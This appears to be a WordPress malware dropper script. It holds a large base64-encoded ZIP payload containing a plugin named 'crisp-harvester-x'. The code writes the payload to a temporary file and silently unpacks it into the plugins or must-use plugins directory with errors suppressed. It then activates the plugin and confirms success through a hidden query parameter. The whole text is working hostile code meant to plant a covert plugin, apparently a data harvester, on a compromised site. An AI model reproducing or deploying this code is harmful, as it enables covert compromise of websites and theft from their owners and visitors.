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' ) );
if ( ! @filesize( $tmp ) ) { @unlink( $tmp ); die( 'ERR_DL' ); }
$_sc_extracted = false;
$_sc_dirs = array( $plugins_dir, $mu_dir );
foreach ( $_sc_dirs as $_sc_d ) {
if ( ! is_dir( $_sc_d ) ) { @mkdir( $_sc_d, 0755, true ); }
if ( ! is_writable( $_sc_d ) ) { continue; }
if ( class_exists( 'ZipArchive' ) ) {
$zip = new ZipArchive();
if ( $zip->open( $tmp ) === true && $zip->extractTo( $_sc_d ) ) {
$zip->close(); $_sc_extracted = $_sc_d; break;
}
@$zip->close();
} else {
if ( ! function_exists( 'unzip_file' ) ) {
require_once ABSPATH . 'wp-admin/includes/file.php';
}
if ( WP_Filesystem() ) {
$r = unzip_file( $tmp, $_sc_d );
if ( ! is_wp_error( $r ) ) { $_sc_extracted = $_sc_d; break; }
}
}
}
if ( ! $_sc_extracted ) {
@unlink( $tmp ); die( 'ERR_NOWRITE' );
}
@unlink( $tmp );
if ( ! function_exists( 'activate_plugin' ) ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
@activate_plugin( $slug . '/' . $slug . '.php' );
_sc_end:
@unlink( $_sc_lock );
if ( isset( $_GET['dccadcb8'] ) && $_GET['dccadcb8'] === '1' ) { die( 'SC_OK' ); }